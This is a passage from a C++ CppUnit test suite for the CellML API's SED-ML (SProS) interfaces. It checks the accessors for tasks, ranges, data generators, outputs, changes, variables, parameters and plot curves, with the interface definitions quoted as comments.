CPPUNIT_ASSERT_EQUAL(0.0, utc->initialTime());
utc->initialTime(1.5);
CPPUNIT_ASSERT_EQUAL(1.5, utc->initialTime());
//
// /**
// * The time of the first point to generate output for.
// */
// attribute double outputStartTime;
CPPUNIT_ASSERT_EQUAL(0.0, utc->outputStartTime());
utc->outputStartTime(1.5);
CPPUNIT_ASSERT_EQUAL(1.5, utc->outputStartTime());
//
// /**
// * The time of the last point to generate output for.
// */
// attribute double outputEndTime;
CPPUNIT_ASSERT_EQUAL(200.0, utc->outputEndTime());
utc->outputEndTime(300.0);
CPPUNIT_ASSERT_EQUAL(300.0, utc->outputEndTime());
//
// /**
// * The number of points of output to produce.
// */
// attribute unsigned long numberOfPoints;
CPPUNIT_ASSERT_EQUAL(1000, (int)utc->numberOfPoints());
utc->numberOfPoints(500);
CPPUNIT_ASSERT_EQUAL(500, (int)utc->numberOfPoints());
}
// };
//
// /**
// * A set of SEDML tasks.
// */
// interface TaskSet
// : NamedIdentifiedElementSet
// {
void
SProSTest::testSProSTaskSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(ts, iface::SProS::TaskSet,
es->tasks());
// /**
// * Iterate through the tasks in this set.
// */
// TaskIterator iterateTasks();
RETURN_INTO_OBJREF(ti, iface::SProS::TaskIterator, ts->iterateTasks());
CPPUNIT_ASSERT(ti != NULL);
//
// /**
// * Find a task in the set by the identifier.
// */
// AbstractTask getTaskByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(at1, iface::SProS::AbstractTask, ts->getTaskByIdentifier(L"task1"));
CPPUNIT_ASSERT(at1 != NULL);
RETURN_INTO_OBJREF(at2, iface::SProS::AbstractTask, ts->getTaskByIdentifier(L"task2"));
CPPUNIT_ASSERT(at2 != NULL);
// };
//
// /**
// * An iterator of SEDML tasks.
// */
// interface TaskIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Fetch the next task, or null if there are no more.
// */
// AbstractTask nextTask();
RETURN_INTO_OBJREF(t3, iface::SProS::AbstractTask, ti->nextTask());
RETURN_INTO_OBJREF(t4, iface::SProS::AbstractTask, ti->nextTask());
CPPUNIT_ASSERT(!CDA_objcmp(at1, t3));
CPPUNIT_ASSERT(!CDA_objcmp(at2, t4));
CPPUNIT_ASSERT(ti->nextTask().getPointer() == NULL);
// };
//
// /**
// * A SEDML task.
// */
// interface Task
// : AbstractTask
ObjRef<iface::SProS::Task> t1(QueryInterface(at1));
// {
// /**
// * The referenced simulation, as an identifier.
// */
// attribute wstring simulationReferenceIdentifier;
RETURN_INTO_WSTRING(sri, t1->simulationReferenceIdentifier());
CPPUNIT_ASSERT(sri == L"simulation1");
//
// /**
// * The referenced simulation object.
// */
// attribute Simulation simulationReference;
RETURN_INTO_OBJREF(sr, iface::SProS::Simulation, t1->simulationReference());
CPPUNIT_ASSERT(sr);
RETURN_INTO_WSTRING(sri2, sr->id());
CPPUNIT_ASSERT(sri2 == L"simulation1");
t1->simulationReferenceIdentifier(L"simulation2");
CPPUNIT_ASSERT(!t1->simulationReference().getPointer());
t1->simulationReference(sr);
RETURN_INTO_WSTRING(sri3, t1->simulationReferenceIdentifier());
CPPUNIT_ASSERT(sri3 == L"simulation1");
//
// /**
// * The referenced model, as an identifier.
// */
// attribute wstring modelReferenceIdentifier;
RETURN_INTO_WSTRING(mri, t1->modelReferenceIdentifier());
CPPUNIT_ASSERT(mri == L"model1");
//
// /**
// * The referenced model object.
// */
// attribute Model modelReference;
RETURN_INTO_OBJREF(mr, iface::SProS::Model, t1->modelReference());
CPPUNIT_ASSERT(mr);
RETURN_INTO_WSTRING(mri2, mr->id());
CPPUNIT_ASSERT(mri2 == L"model1");
t1->modelReferenceIdentifier(L"model2");
CPPUNIT_ASSERT(!t1->modelReference().getPointer());
t1->modelReference(mr);
RETURN_INTO_WSTRING(mri3, t1->modelReferenceIdentifier());
CPPUNIT_ASSERT(mri3 == L"model1");
// };
ObjRef<iface::SProS::RepeatedTask> t2(QueryInterface(at2));
CPPUNIT_ASSERT(t2 != NULL);
// /**
// * A SEDML RepeatedTask.
// */
// interface RepeatedTask
// : AbstractTask
// {
// /**
// * The referenced range, as an identifier.
// */
// attribute wstring rangeIdentifier;
CPPUNIT_ASSERT(t2->rangeIdentifier() == L"index");
//
// /**
// * The referenced range object.
// */
// attribute Range rangeReference;
ObjRef<iface::SProS::Range> indexRange(t2->rangeReference());
CPPUNIT_ASSERT(indexRange != NULL);
CPPUNIT_ASSERT(indexRange->id() == L"index");
t2->rangeIdentifier(L"current");
CPPUNIT_ASSERT(t2->rangeIdentifier() == L"current");
ObjRef<iface::SProS::Range> funRange(t2->rangeReference());
CPPUNIT_ASSERT(funRange->id() == L"current");
t2->rangeIdentifier(L"invalid");
CPPUNIT_ASSERT(t2->rangeIdentifier() == L"invalid");
ObjRef<iface::SProS::Range> shouldBeNull(t2->rangeReference());
CPPUNIT_ASSERT(shouldBeNull == NULL);
t2->rangeReference(indexRange);
CPPUNIT_ASSERT(t2->rangeIdentifier() == L"index");
//
// /**
// * Whether or not to reset the model.
// */
// attribute boolean resetModel;
CPPUNIT_ASSERT_EQUAL(false, t2->resetModel());
t2->resetModel(true);
CPPUNIT_ASSERT_EQUAL(true, t2->resetModel());
t2->resetModel(false);
CPPUNIT_ASSERT_EQUAL(false, t2->resetModel());
//
// /**
// * The list of ranges over which to repeat.
// */
// readonly attribute RangeSet ranges;
ObjRef<iface::SProS::RangeSet> allRanges(t2->ranges());
CPPUNIT_ASSERT(allRanges != NULL);
ObjRef<iface::SProS::Range> lookedUpRange(allRanges->getRangeByIdentifier(L"current"));
CPPUNIT_ASSERT(!CDA_objcmp(lookedUpRange, funRange));
ObjRef<iface::SProS::RangeIterator> rangeIt(allRanges->iterateRanges());
ObjRef<iface::SProS::Range> range1(rangeIt->nextRange());
CPPUNIT_ASSERT(range1 != NULL);
ObjRef<iface::SProS::Range> range2(rangeIt->nextRange());
CPPUNIT_ASSERT(range2 != NULL);
ObjRef<iface::SProS::Range> range3(rangeIt->nextRange());
CPPUNIT_ASSERT(range3 != NULL);
ObjRef<iface::SProS::Range> shouldBeNullRange(rangeIt->nextRange());
CPPUNIT_ASSERT(shouldBeNullRange == NULL);
CPPUNIT_ASSERT(!CDA_objcmp(range1, indexRange));
CPPUNIT_ASSERT(!CDA_objcmp(range2, funRange));
//
// /**
// * The list of subTasks to perform.
// */
// readonly attribute SubTaskSet subTasks;
ObjRef<iface::SProS::SubTaskSet> subTasks(t2->subTasks());
ObjRef<iface::SProS::SubTaskIterator> subTaskIt(subTasks->iterateSubTasks());
ObjRef<iface::SProS::SubTask> firstSubTask(subTaskIt->nextSubTask());
CPPUNIT_ASSERT(firstSubTask != NULL);
ObjRef<iface::SProS::SubTask> shouldBeNullSubTask(subTaskIt->nextSubTask());
CPPUNIT_ASSERT(shouldBeNullSubTask == NULL);
CPPUNIT_ASSERT(firstSubTask->taskIdentifier() == L"task1");
//
// /**
// * The list of SetValue changes to apply.
// */
// readonly attribute SetValueSet changes;
ObjRef<iface::SProS::SetValueSet> taskChanges(t2->changes());
ObjRef<iface::SProS::SetValueIterator> setValIt(taskChanges->iterateSetValues());
ObjRef<iface::SProS::SetValue> firstSetValue(setValIt->nextSetValue());
CPPUNIT_ASSERT(firstSetValue != NULL);
CPPUNIT_ASSERT(firstSetValue->rangeIdentifier() == L"current");
ObjRef<iface::SProS::SetValue> shouldBeNullSetValue(setValIt->nextSetValue());
CPPUNIT_ASSERT(shouldBeNullSetValue == NULL);
// };
// /**
// * A SED-ML functional range.
// */
// interface FunctionalRange
// : Range
// {
// /**
// * The name to make available in the MathML as the index.
// */
// attribute wstring indexName;
ObjRef<iface::SProS::FunctionalRange> funcRange(QueryInterface(funRange));
CPPUNIT_ASSERT(funcRange->indexName() == L"index");
funcRange->indexName(L"test");
CPPUNIT_ASSERT(funcRange->indexName() == L"test");
//
// /**
// * The list of all variables to make available to the MathML.
// */
// readonly attribute VariableSet variables;
ObjRef<iface::SProS::VariableSet> funRangeVars(funcRange->variables());
ObjRef<iface::SProS::VariableIterator> funRangeVarIt(funRangeVars->iterateVariables());
ObjRef<iface::SProS::Variable> funRangeVar(funRangeVarIt->nextVariable());
CPPUNIT_ASSERT(funRangeVar != NULL);
ObjRef<iface::SProS::Variable> shouldBeNullVar(funRangeVarIt->nextVariable());
CPPUNIT_ASSERT(shouldBeNullVar == NULL);
CPPUNIT_ASSERT(funRangeVar->id() == L"val");
//
// /**
// * The MathML math element defining the next value from the range.
// */
// attribute mathml_dom::MathMLMathElement function;
ObjRef<iface::mathml_dom::MathMLMathElement> frFunction(funcRange->function());
CPPUNIT_ASSERT(frFunction != NULL);
ObjRef<iface::mathml_dom::MathMLElement> frFuncContents(frFunction->getArgument(1));
CPPUNIT_ASSERT(frFuncContents != NULL);
CPPUNIT_ASSERT(frFuncContents->localName() == L"piecewise");
// };
//
// /**
// * A SED-ML vector range.
// */
// interface VectorRange
// : Range
ObjRef<iface::SProS::VectorRange> vecRange(QueryInterface(range3));
// {
// /**
// * Retrieves the number of values in the range.
// */
// readonly attribute long numberOfValues;
CPPUNIT_ASSERT_EQUAL(3, vecRange->numberOfValues());
//
// /**
// * Gets the value of the VectorRange at the specified index.
// * Indices start at zero. Returns 0 if index out of range.
// */
// double valueAt(in long index);
CPPUNIT_ASSERT_EQUAL(1.0, vecRange->valueAt(0));
CPPUNIT_ASSERT_EQUAL(4.0, vecRange->valueAt(1));
CPPUNIT_ASSERT_EQUAL(10.0, vecRange->valueAt(2));
//
// /**
// * Sets the value of the VectorRange at the specified index.
// * Indices start at zero.
// */
// void setValueAt(in long index, in double value);
vecRange->setValueAt(0, 2.0);
CPPUNIT_ASSERT_EQUAL(2.0, vecRange->valueAt(0));
CPPUNIT_ASSERT_EQUAL(3, vecRange->numberOfValues());
//
// /**
// * Inserts a value before the index specified. If index is <= 0, inserts at
// * the beginning; if index is >= numberOfValues, inserts at the end of the
// * list.
// */
// void insertValueBefore(in long index, in double value);
vecRange->insertValueBefore(0, 0.0);
CPPUNIT_ASSERT_EQUAL(4, vecRange->numberOfValues());
CPPUNIT_ASSERT_EQUAL(0.0, vecRange->valueAt(0));
CPPUNIT_ASSERT_EQUAL(2.0, vecRange->valueAt(1));
vecRange->insertValueBefore(1, 0.5);
vecRange->insertValueBefore(100, 100.0);
CPPUNIT_ASSERT_EQUAL(6, vecRange->numberOfValues());
CPPUNIT_ASSERT_EQUAL(0.0, vecRange->valueAt(0));
CPPUNIT_ASSERT_EQUAL(0.5, vecRange->valueAt(1));
CPPUNIT_ASSERT_EQUAL(2.0, vecRange->valueAt(2));
CPPUNIT_ASSERT_EQUAL(4.0, vecRange->valueAt(3));
CPPUNIT_ASSERT_EQUAL(10.0, vecRange->valueAt(4));
CPPUNIT_ASSERT_EQUAL(100.0, vecRange->valueAt(5));
//
// /**
// * Removes the value at the index specified, or does nothing if the index is
// * out of range.
// */
// void removeValueAt(in long index);
vecRange->removeValueAt(0);
vecRange->removeValueAt(2);
CPPUNIT_ASSERT_EQUAL(4, vecRange->numberOfValues());
CPPUNIT_ASSERT_EQUAL(0.5, vecRange->valueAt(0));
CPPUNIT_ASSERT_EQUAL(2.0, vecRange->valueAt(1));
CPPUNIT_ASSERT_EQUAL(10.0, vecRange->valueAt(2));
CPPUNIT_ASSERT_EQUAL(100.0, vecRange->valueAt(3));
// };
//
// interface UniformRange
ObjRef<iface::SProS::UniformRange> uniRange(QueryInterface(range1));
CPPUNIT_ASSERT(uniRange != NULL);
// : Range
// {
// /**
// * The point at which to start the simulation.
// */
// attribute double start;
CPPUNIT_ASSERT_EQUAL(0.0, uniRange->start());
uniRange->start(1.0);
CPPUNIT_ASSERT_EQUAL(1.0, uniRange->start());
//
// /**
// * The point at which to end the simulation.
// */
// attribute double end;
CPPUNIT_ASSERT_EQUAL(10.0, uniRange->end());
uniRange->end(9.5);
CPPUNIT_ASSERT_EQUAL(9.5, uniRange->end());
//
// /**
// * The number of points between start and end.
// */
// attribute long numberOfPoints;
CPPUNIT_ASSERT_EQUAL(100, uniRange->numberOfPoints());
uniRange->numberOfPoints(101);
CPPUNIT_ASSERT_EQUAL(101, uniRange->numberOfPoints());
// };
//
// /**
// * A SED-ML SetValue element.
// */
// interface SetValue
// : Base
// {
// /**
// * The XPath expression describing the variable target.
// */
// attribute wstring target;
CPPUNIT_ASSERT(L"/sbml:sbml/sbml:model/sbml:listOfParameters/sbml:parameter[@id='J0_v0']" ==
firstSetValue->target());
firstSetValue->target(L"/sbml:sbml/sbml:model/sbml:listOfParameters/sbml:parameter[@id='J0_v1']");
CPPUNIT_ASSERT(L"/sbml:sbml/sbml:model/sbml:listOfParameters/sbml:parameter[@id='J0_v1']" ==
firstSetValue->target());
//
// /**
// * The referenced model, as an identifier.
// */
// attribute wstring modelReferenceIdentifier;
CPPUNIT_ASSERT(firstSetValue->modelReferenceIdentifier() == L"");
firstSetValue->modelReferenceIdentifier(L"model1");
CPPUNIT_ASSERT(firstSetValue->modelReferenceIdentifier() == L"model1");
//
// /**
// * The referenced model object.
// */
// attribute Model modelReference;
ObjRef<iface::SProS::Model> refModel(firstSetValue->modelReference());
CPPUNIT_ASSERT(refModel != NULL);
CPPUNIT_ASSERT(refModel->id() == L"model1");
firstSetValue->modelReferenceIdentifier(L"");
CPPUNIT_ASSERT(firstSetValue->modelReferenceIdentifier() == L"");
ObjRef<iface::SProS::Model> nullRefModel(firstSetValue->modelReference());
CPPUNIT_ASSERT(nullRefModel == NULL);
firstSetValue->modelReference(refModel);
ObjRef<iface::SProS::Model> refModel2(firstSetValue->modelReference());
CPPUNIT_ASSERT(!CDA_objcmp(refModel, refModel2));
//
// /**
// * The referenced range, as an identifier.
// */
// attribute wstring rangeIdentifier;
CPPUNIT_ASSERT(firstSetValue->rangeIdentifier() == L"current");
firstSetValue->rangeIdentifier(L"index");
CPPUNIT_ASSERT(firstSetValue->rangeIdentifier() == L"index");
//
// /**
// * The referenced range object.
// */
// attribute Range rangeReference;
ObjRef<iface::SProS::Range> referencedRange(firstSetValue->rangeReference());
CPPUNIT_ASSERT(!CDA_objcmp(referencedRange, uniRange));
firstSetValue->rangeReference(vecRange);
CPPUNIT_ASSERT(firstSetValue->rangeIdentifier() == L"vecrange");
// };
//
// /**
// * A SED-ML SubTask
// */
// interface SubTask
// : Base
// {
// /**
// * The referenced task, as an identifier string.
// */
// attribute wstring taskIdentifier;
CPPUNIT_ASSERT(firstSubTask->taskIdentifier() == L"task1");
firstSubTask->taskIdentifier(L"task2");
CPPUNIT_ASSERT(firstSubTask->taskIdentifier() == L"task2");
firstSubTask->taskIdentifier(L"task1");
//
// /**
// * The referenced task.
// */
// attribute AbstractTask taskReference;
ObjRef<iface::SProS::AbstractTask> refTask(firstSubTask->taskReference());
CPPUNIT_ASSERT(refTask != NULL);
CPPUNIT_ASSERT(refTask->id() == L"task1");
firstSubTask->taskIdentifier(L"");
ObjRef<iface::SProS::AbstractTask> nullRefTask(firstSubTask->taskReference());
CPPUNIT_ASSERT(nullRefTask == NULL);
firstSubTask->taskReference(refTask);
ObjRef<iface::SProS::AbstractTask> refTask2(firstSubTask->taskReference());
CPPUNIT_ASSERT(!CDA_objcmp(refTask, refTask2));
//
// /**
// * The order value of this SubTask.
// */
// attribute long order;
firstSubTask->order(10);
CPPUNIT_ASSERT_EQUAL(10, firstSubTask->order());
// };
}
// /**
// * A set of DataGenerators.
// */
// interface DataGeneratorSet
// : NamedIdentifiedElementSet
// {
void
SProSTest::testSProSDataGeneratorSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(dgs, iface::SProS::DataGeneratorSet,
es->generators());
// /**
// * Iterate through the DataGenerators in this set.
// */
// DataGeneratorIterator iterateDataGenerators();
RETURN_INTO_OBJREF(dgi, iface::SProS::DataGeneratorIterator,
dgs->iterateDataGenerators());
CPPUNIT_ASSERT(dgi);
//
// /**
// * Find a DataGenerator by identfier.
// */
// DataGenerator getDataGeneratorByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(dg1, iface::SProS::DataGenerator,
dgs->getDataGeneratorByIdentifier(L"time"));
CPPUNIT_ASSERT(dg1);
// };
//
// /**
// * An interator of DataGenerators.
// */
// interface DataGeneratorIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Fetches the next DataGenerator, or null if there are no more.
// */
// DataGenerator nextDataGenerator();
RETURN_INTO_OBJREF(dg2, iface::SProS::DataGenerator,
dgi->nextDataGenerator());
CPPUNIT_ASSERT(!CDA_objcmp(dg1, dg2));
// };
//
// /**
// * A SEDML DataGenerator.
// */
// interface DataGenerator
// : NamedIdentifiedElement, cellml_api::MathContainer
// {
// /**
// * The set of parameters for this DataGenerator.
// */
// readonly attribute ParameterSet parameters;
RETURN_INTO_OBJREF(pars, iface::SProS::ParameterSet, dg1->parameters());
CPPUNIT_ASSERT(pars);
//
// /**
// * The set of variables for this DataGenerator.
// */
// readonly attribute VariableSet variables;
RETURN_INTO_OBJREF(vars, iface::SProS::VariableSet, dg1->variables());
CPPUNIT_ASSERT(vars);
}
// };
//
// /**
// * A set of Outputs
// */
// interface OutputSet
// : NamedIdentifiedElementSet
// {
void
SProSTest::testSProSOutputSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(os, iface::SProS::OutputSet,
es->outputs());
// /**
// * Iterates through all the outputs in this set.
// */
// OutputIterator iterateOutputs();
RETURN_INTO_OBJREF(oi, iface::SProS::OutputIterator, os->iterateOutputs());
//
// /**
// * Finds an output in this set by identifier.
// */
// Output getOutputByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(o1, iface::SProS::Output, os->getOutputByIdentifier(L"plot1"));
CPPUNIT_ASSERT(o1);
// };
//
// /**
// * An iterator of Outputs
// */
// interface OutputIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Fetches the next Output, or null if there are no more.
// */
// Output nextOutput();
RETURN_INTO_OBJREF(o2, iface::SProS::Output, oi->nextOutput());
CPPUNIT_ASSERT(!CDA_objcmp(o1, o2));
// };
//
// /**
// * A SEDML Output.
// */
// interface Output
// : NamedIdentifiedElement
// {
// };
//
// /**
// * A SEDML 2D Plot output
// */
// interface Plot2D
// : Output
// {
DECLARE_QUERY_INTERFACE_OBJREF(p2d, o1, SProS::Plot2D);
CPPUNIT_ASSERT(p2d);
// /**
// * Gets the set of all curves.
// */
// readonly attribute CurveSet curves;
RETURN_INTO_OBJREF(curveSet, iface::SProS::CurveSet, p2d->curves());
// };
//
// /**
// * A SEDML 3D Plot output
// */
// interface Plot3D
// : Output
// {
RETURN_INTO_OBJREF(o3, iface::SProS::Output, oi->nextOutput());
DECLARE_QUERY_INTERFACE_OBJREF(p3d, o3, SProS::Plot3D);
CPPUNIT_ASSERT(p3d);
// /**
// * Gets the set of all surfaces.
// */
// readonly attribute SurfaceSet surfaces;
RETURN_INTO_OBJREF(ss, iface::SProS::SurfaceSet, p3d->surfaces());
CPPUNIT_ASSERT(ss);
// };
//
// /**
// * A SEDML Report output
// */
// interface Report
// : Output
// {
RETURN_INTO_OBJREF(o4, iface::SProS::Output, oi->nextOutput());
DECLARE_QUERY_INTERFACE_OBJREF(rep, o4, SProS::Report);
CPPUNIT_ASSERT(rep);
// /**
// * Gets the set of all DataSets
// */
// readonly attribute DataSetSet datasets;
RETURN_INTO_OBJREF(ds, iface::SProS::DataSetSet, rep->datasets());
CPPUNIT_ASSERT(ds);
// };
}
//
// /**
// * A set of Changes
// */
// interface ChangeSet
// : BaseSet
// {
void
SProSTest::testSProSChangeSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(ms, iface::SProS::ModelSet,
es->models());
RETURN_INTO_OBJREF(m, iface::SProS::Model,
ms->getModelByIdentifier(L"model1"));
RETURN_INTO_OBJREF(cs, iface::SProS::ChangeSet,
m->changes());
// /**
// * Iterate through all the Changes in the set.
// */
// ChangeIterator iterateChanges();
RETURN_INTO_OBJREF(ci, iface::SProS::ChangeIterator,
cs->iterateChanges());
CPPUNIT_ASSERT(ci);
// };
//
// /**
// * An iterator of Changes
// */
//
// interface ChangeIterator
// : BaseIterator
// {
// /**
// * Fetch the next Change, or null if there are no more.
// */
// Change nextChange();
RETURN_INTO_OBJREF(c1, iface::SProS::Change, ci->nextChange());
// };
// /**
// * A SEDML Change.
// */
// interface Change
// : Base
// {
// attribute wstring target;
{
RETURN_INTO_WSTRING(t1, c1->target());
CPPUNIT_ASSERT(t1 == L"foo");
}
c1->target(L"bar");
{
RETURN_INTO_WSTRING(t1, c1->target());
CPPUNIT_ASSERT(t1 == L"bar");
}
RETURN_INTO_OBJREF(c2, iface::SProS::Change, ci->nextChange());
RETURN_INTO_OBJREF(c3, iface::SProS::Change, ci->nextChange());
RETURN_INTO_OBJREF(c4, iface::SProS::Change, ci->nextChange());
RETURN_INTO_OBJREF(c5, iface::SProS::Change, ci->nextChange());
// };
//
// /**
// * A SEDML ComputeChange style change.
// */
// interface ComputeChange
// : Change, cellml_api::MathContainer
// {
DECLARE_QUERY_INTERFACE_OBJREF(cc, c5, SProS::ComputeChange);
CPPUNIT_ASSERT(cc);
// /**
// * All variables involved.
// */
// readonly attribute VariableSet variables;
RETURN_INTO_OBJREF(vs, iface::SProS::VariableSet, cc->variables());
CPPUNIT_ASSERT(vs);
RETURN_INTO_OBJREF(v, iface::SProS::Variable,
vs->getVariableByIdentifier(L"time"));
CPPUNIT_ASSERT(v);
//
// /**
// * All parameters involved.
// */
// readonly attribute ParameterSet parameters;
RETURN_INTO_OBJREF(ps, iface::SProS::ParameterSet, cc->parameters());
CPPUNIT_ASSERT(ps);
RETURN_INTO_OBJREF(p, iface::SProS::Parameter,
ps->getParameterByIdentifier(L"time"));
CPPUNIT_ASSERT(p);
// };
//
// /**
// * A SEDML attribute change.
// */
// interface ChangeAttribute
// : Change
// {
DECLARE_QUERY_INTERFACE_OBJREF(ca, c1, SProS::ChangeAttribute);
CPPUNIT_ASSERT(cc);
// /**
// * The new value of the attribute.
// */
// readonly attribute wstring newValue;
RETURN_INTO_WSTRING(canv, ca->newValue());
CPPUNIT_ASSERT(canv == L"bar");
// };
//
// /**
// * A SEDML XML addition.
// */
// interface AddXML
// : Change
// {
DECLARE_QUERY_INTERFACE_OBJREF(ax, c3, SProS::AddXML);
CPPUNIT_ASSERT(ax);
// /**
// * The XML content to add.
// */
// readonly attribute dom::NodeList anyXML;
RETURN_INTO_OBJREF(nl, iface::dom::NodeList, ax->anyXML());
RETURN_INTO_OBJREF(it1, iface::dom::Node, nl->item(0));
CPPUNIT_ASSERT(it1);
DECLARE_QUERY_INTERFACE_OBJREF(tn1, it1, dom::Text);
CPPUNIT_ASSERT(tn1);
RETURN_INTO_WSTRING(dtn1d, tn1->data());
CPPUNIT_ASSERT(dtn1d == L"Hello World");
// };
//
// /**
// * A SEDML XML change.
// */
// interface ChangeXML
// : AddXML
DECLARE_QUERY_INTERFACE_OBJREF(cx, c2, SProS::ChangeXML);
CPPUNIT_ASSERT(cx);
// {
// };
//
// /**
// * A SEDML XML removal.
// */
// interface RemoveXML
// : Change
DECLARE_QUERY_INTERFACE_OBJREF(rx, c4, SProS::RemoveXML);
CPPUNIT_ASSERT(rx);
// {
// };
}
//
// /**
// * A SEDML Variable.
// */
void
SProSTest::testSProSVariable()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(dgs, iface::SProS::DataGeneratorSet,
es->generators());
RETURN_INTO_OBJREF(dgi, iface::SProS::DataGeneratorIterator, dgs->iterateDataGenerators());
RETURN_INTO_OBJREF(dg, iface::SProS::DataGenerator, dgi->nextDataGenerator());
RETURN_INTO_OBJREF(vs, iface::SProS::VariableSet, dg->variables());
//
// /**
// * A set of Variables.
// */
// interface VariableSet
// : NamedIdentifiedElementSet
// {
// /**
// * Iterates through the variables.
// */
// VariableIterator iterateVariables();
RETURN_INTO_OBJREF(vi, iface::SProS::VariableIterator, vs->iterateVariables());
//
// /**
// * Finds a variable in the set by identifier.
// */
// Variable getVariableByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(v_by_id, iface::SProS::Variable,
vs->getVariableByIdentifier(L"time"));
CPPUNIT_ASSERT(v_by_id);
// };
//
// /**
// * An iterator of Variables.
// */
// interface VariableIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Gets the next variable, or null if there are no more.
// */
// Variable nextVariable();
RETURN_INTO_OBJREF(v, iface::SProS::Variable, vi->nextVariable());
CPPUNIT_ASSERT_EQUAL(0, CDA_objcmp(v, v_by_id));
// };
// interface Variable
// : NamedIdentifiedElement
// {
// attribute wstring target;
{
RETURN_INTO_WSTRING(t1, v->target());
CPPUNIT_ASSERT(t1 == L"time");
}
v->target(L"time2");
{
RETURN_INTO_WSTRING(t1, v->target());
CPPUNIT_ASSERT(t1 == L"time2");
}
// attribute wstring symbol;
{
RETURN_INTO_WSTRING(s1, v->symbol());
CPPUNIT_ASSERT(s1 == L"timeSym");
}
v->symbol(L"timeSym2");
{
RETURN_INTO_WSTRING(s1, v->symbol());
CPPUNIT_ASSERT(s1 == L"timeSym2");
}
// };
}
//
void
SProSTest::testSProSParameter()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(dgs, iface::SProS::DataGeneratorSet,
es->generators());
RETURN_INTO_OBJREF(dgi, iface::SProS::DataGeneratorIterator, dgs->iterateDataGenerators());
RETURN_INTO_OBJREF(dg, iface::SProS::DataGenerator, dgi->nextDataGenerator());
RETURN_INTO_OBJREF(ps, iface::SProS::ParameterSet, dg->parameters());
// /**
// * A set of Parameters.
// */
// interface ParameterSet
// : NamedIdentifiedElementSet
// {
// /**
// * Iterates through the parameters.
// */
// ParameterIterator iterateParameters();
RETURN_INTO_OBJREF(pi, iface::SProS::ParameterIterator, ps->iterateParameters());
//
// /**
// * Finds a parameter in the set by identifier.
// */
// Parameter getParameterByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(p1, iface::SProS::Parameter, ps->getParameterByIdentifier(L"param1"));
// };
//
// /**
// * An iterator of Parameters.
// */
// interface ParameterIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Gets the next parameter, or null if there are no more.
// */
// Parameter nextParameter();
RETURN_INTO_OBJREF(p2, iface::SProS::Parameter, pi->nextParameter());
CPPUNIT_ASSERT_EQUAL(0, CDA_objcmp(p1, p2));
// };
//
// /**
// * A SEDML Parameter.
// */
// interface Parameter
// : NamedIdentifiedElement
// {
// attribute double value;
CPPUNIT_ASSERT(p1->value() == 1.234);
// };
}
//
void
SProSTest::testSProSCurve()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(os, iface::SProS::OutputSet,
es->outputs());
RETURN_INTO_OBJREF(o1, iface::SProS::Output,
os->getOutputByIdentifier(L"plot1"));
DECLARE_QUERY_INTERFACE_OBJREF(p2d, o1, SProS::Plot2D);
RETURN_INTO_OBJREF(cs, iface::SProS::CurveSet, p2d->curves());
CPPUNIT_ASSERT(cs);
// /**
// * A set of SEDML Curve.
// */
// interface CurveSet
// : NamedElementSet
// {
// /**
// * Iterates through the curves in the set.
// */
// CurveIterator iterateCurves();
RETURN_INTO_OBJREF(ci, iface::SProS::CurveIterator, cs->iterateCurves());
CPPUNIT_ASSERT(ci);
// };
//
// /**
// * Allows SEDML Curves to be iterated.
// */
// interface CurveIterator
// : NamedElementIterator
// {
// /**
// * Fetches the next curve in the set, or null if there are no more.
// */
// Curve nextCurve();
RETURN_INTO_OBJREF(c, iface::SProS::Curve, ci->nextCurve());
CPPUNIT_ASSERT(c);
// };
//
// /**
// * A SEDML Curve.
// */
// interface Curve
// : NamedElement
// {
// /**
// * If true, log-transform the X axis.
// */
// attribute boolean logX;
CPPUNIT_ASSERT_EQUAL(true, c->logX());
c->logX(false);
CPPUNIT_ASSERT_EQUAL(false, c->logX());
//
// /**
// * If true, log-transform the Y axis.
// */
// attribute boolean logY;
CPPUNIT_ASSERT_EQUAL(true, c->logY());
c->logY(false);
CPPUNIT_ASSERT_EQUAL(false, c->logY());
//
// /**
// * The identifier of the X-axis data generator.
// */
// attribute wstring xDataGeneratorID;
{
RETURN_INTO_WSTRING(xdgid, c->xDataGeneratorID());
CPPUNIT_ASSERT(xdgid == L"time");
}
c->xDataGeneratorID(L"X1");
{
